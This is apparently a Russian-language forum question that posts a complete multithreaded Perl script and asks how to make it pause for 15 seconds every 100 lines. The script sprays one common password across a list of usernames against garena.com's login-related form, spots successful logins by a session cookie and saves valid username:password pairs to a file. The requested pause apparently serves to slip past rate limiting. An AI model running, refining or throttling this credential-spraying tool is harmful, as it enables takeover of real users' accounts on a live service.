в общем имеется код:
use IO::Socket;
use threads;
use threads::shared;
use Term::ReadKey;
use Fcntl ':flock';
$pwd = shift || '123456' ; #Пароль
$threads = shift || 10 ; #Кол-во потоков
$ml = shift || 'nick.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
printf "\n";
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
my @login : shared = <ACS>;
chomp(@login);
close(ACS);
$size = scalar @login;
print "Loaded: ".$size." accs.\n";
while (not defined ($key = ReadKey(-1))) {
}
print "Start $key\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while(@login)
{
{lock(@login);$login = shift @login;}
my $sock = sock();
my $data =
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$login\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"change_email\"\n\n".
"2\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"email\"\n\n".
"\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"national_id\"\n\n".
"1234567\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"bday\"\n\n".
"1989-01-01\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"occupation\"\n\n".
"1\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"education\"\n\n".
"1\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"interests\"\n\n".
"1\n".
"-----------------------------29996291521054\n".
"Content-Disposition: form-data; name=\"emailverify\"\n\n".
"submit\n".
"-----------------------------29996291521054--\n\n";
my $re =
"POST /user/emailverify.php?a=submit HTTP/1.1\n".
"Host: www.garena.com\n".
"User-Agent: Mozilla/5.0\n".
"Connection: close\n".
"Referer: http://www.garena.com/user/emailverify.php\n".
"Content-Type: multipart/form-data; boundary=---------------------------29996291521054\n".
"Content-Length: ".length($data)."\n\n".$data;
print $sock $re;
read($sock,my $answ,10000);
if($answ =~ /cdb_auth/)
{
print "[+] $login\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$login:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'garena.com',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
Как сделать Sleep(паузу на 15 сек) каждые 100 строк?